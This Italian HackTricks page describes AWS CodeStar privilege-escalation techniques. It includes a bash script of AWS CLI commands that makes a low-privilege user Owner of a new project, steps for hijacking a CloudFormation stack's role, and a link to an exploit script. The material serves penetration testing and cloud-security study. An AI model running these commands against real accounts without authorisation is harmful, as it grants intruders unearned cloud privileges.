AWS - Codestar Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Codestar

Puoi trovare ulteriori informazioni su codestar in:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Con questi permessi puoi abusare di un ruolo IAM di codestar per eseguire azioni arbitrarie tramite un template cloudformation. Controlla la pagina seguente:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Questa tecnica utilizza codestar:CreateProject per creare un progetto codestar e codestar:AssociateTeamMember per rendere un utente IAM il proprietario di un nuovo progetto CodeStar, il che concederà loro una nuova policy con alcuni permessi extra.

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Se sei già un membro del progetto, puoi utilizzare il permesso codestar:UpdateTeamMember per aggiornare il tuo ruolo a proprietario invece di codestar:AssociateTeamMember.

Impatto Potenziale: Privesc alla policy di codestar generata. Puoi trovare un esempio di quella policy in:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Crea un Nuovo Progetto:
  • Utilizza l'azione codestar:CreateProjectFromTemplate per avviare la creazione di un nuovo progetto.
  • Una volta creata con successo, l'accesso è automaticamente concesso per cloudformation:UpdateStack.
  • Questo accesso è specificamente destinato a uno stack associato al ruolo IAM CodeStarWorker-<generic project name>-CloudFormation.
  1. Aggiorna lo Stack Target:
  • Con i permessi CloudFormation concessi, procedi ad aggiornare lo stack specificato.
  • Il nome dello stack di solito seguirà uno dei due modelli:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Il nome esatto dipende dal template scelto (riferendosi allo script di exploit di esempio).
  1. Accesso e Permessi:
  • Dopo l'aggiornamento, ottieni le capacità assegnate al ruolo IAM CloudFormation collegato allo stack.
  • Nota: Questo non fornisce intrinsecamente privilegi di amministratore completi. Potrebbero essere necessarie ulteriori risorse mal configurate all'interno dell'ambiente per elevare ulteriormente i privilegi.

Per ulteriori informazioni, controlla la ricerca originale: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Puoi trovare l'exploit in https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impatto Potenziale: Privesc al ruolo IAM di cloudformation.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks